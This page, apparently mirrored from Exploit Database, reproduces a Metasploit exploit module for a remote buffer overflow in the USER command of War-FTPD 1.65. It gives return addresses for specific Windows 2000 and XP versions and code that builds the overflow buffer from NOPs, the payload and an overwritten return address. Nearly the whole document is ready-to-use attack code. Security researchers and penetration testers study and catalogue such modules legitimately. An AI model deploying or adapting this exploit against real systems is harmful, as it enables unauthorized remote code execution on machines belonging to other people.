War-FTPD 1.65 – ‘Username’ Remote Overflow (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16724/

• ##
  # $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'War-FTPD 1.65 Username Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow found in the USER command
  				of War-FTPD 1.65.
  			},
  			'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>',
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'CVE', '1999-0256'],
  					[ 'OSVDB', '875'],
  					[ 'BID', '10078'	],
  					[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process'
  				},
  			'Payload'=>
  				{
  					'Space'=> 424,
  					'BadChars' => "\x00\x0a\x0d\x40",
  					'StackAdjustment' => -3500,
  					'Compat' =>
  						{
  							'ConnectionType' => "-find"
  						}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Target 0
  					[
  						'Windows 2000 SP0-SP4 English',
  						{
  							'Ret'=> 0x750231e2 # ws2help.dll
  						},
  					],
  					# Target 1
  					[
  						'Windows XP SP0-SP1 English',
  						{
  							'Ret'=> 0x71ab1d54 # push esp, ret
  						}
  					],
  					# Target 2
  					[
  						'Windows XP SP2 English',
  						{
  							'Ret'=> 0x71ab9372 # push esp, ret
  						}
  					],
  					# Target 3
  					[
  						'Windows XP SP3 English',
  						{
  							'Ret'=> 0x71ab2b53 # push esp, ret
  						}
  					]
  				],
  			'DisclosureDate' => 'Mar 19 1998'))
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		buf= make_nops(600) + payload.encoded
  		buf[485, 4]= [ target.ret ].pack('V')
  
  		send_cmd( ['USER', buf] , false )
  
  		handler
  		disconnect
  	end
  
  end